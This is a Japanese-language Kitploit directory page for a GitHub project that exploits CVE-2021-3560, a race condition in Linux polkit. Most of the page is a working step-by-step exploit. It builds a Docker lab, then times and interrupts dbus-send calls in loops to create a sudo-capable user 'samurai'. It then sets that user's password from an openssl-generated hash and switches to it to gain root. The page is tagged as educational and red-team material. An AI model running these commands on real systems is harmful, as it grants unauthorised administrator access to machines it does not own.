Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-3560-Polkit-Privilege-Escalation | Kitploit
ツール/GitHubGitHub/markyu0401/cve-2021-3560-polkit-privilege-escalation
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育レッドチーミング
GitHubmarkyu0401/cve-2021-3560-polkit-privilege-escalation

CVE-2021-3560-Polkit-Privilege-Escalation

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
2年前未レビュー

CVE-2021-3560-Polkit-Privilege-Escalation

著者: Mark, Qingchen Yu コンテナをビルドするには

root@kitploit:~
docker build -t <image tag of your choice> .

コンテナを実行するには

root@kitploit:~
docker run -it <image tag name>
  1. start.sh から始めます。

  2. 実行時間の測定: 'real' の時間をメモし、その半分を計算します。

    root@kitploit:~
    time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
    
  3. sudo権限を持つユーザーの作成: プロセスを途中で中断したいため、X.XXX を上記の 'real' 時間の半分に置き換えます。 コマンドは10000回のループとして実行されます。 この手順は数回実行する必要があるかもしれません。

    root@kitploit:~
    for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
    
  4. ユーザー作成の確認 id samurai samurai ユーザーが存在し、その権限が表示されるはずです。表示されない場合は、手順2を再度実行してください。

  5. パスワードハッシュの生成: この場合、パスワードは 'iamsamurai' になります。 生成されたハッシュをメモします。

    root@kitploit:~
    openssl passwd -5 iamsamurai
    
  6. 新しいユーザーのパスワード設定: X.XXX をスリープ時間に置き換え、Password Hash を手順4のハッシュに置き換えます。UUUU は 'samurai' のユーザーIDに置き換えます。

    root@kitploit:~
    for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
    
  7. 手順4で作成したパスワードを使って新しいユーザーに切り替えます。 su - samurai

    これで、このユーザーで 'sudo' を使用できるはずです。

ツールをダウンロード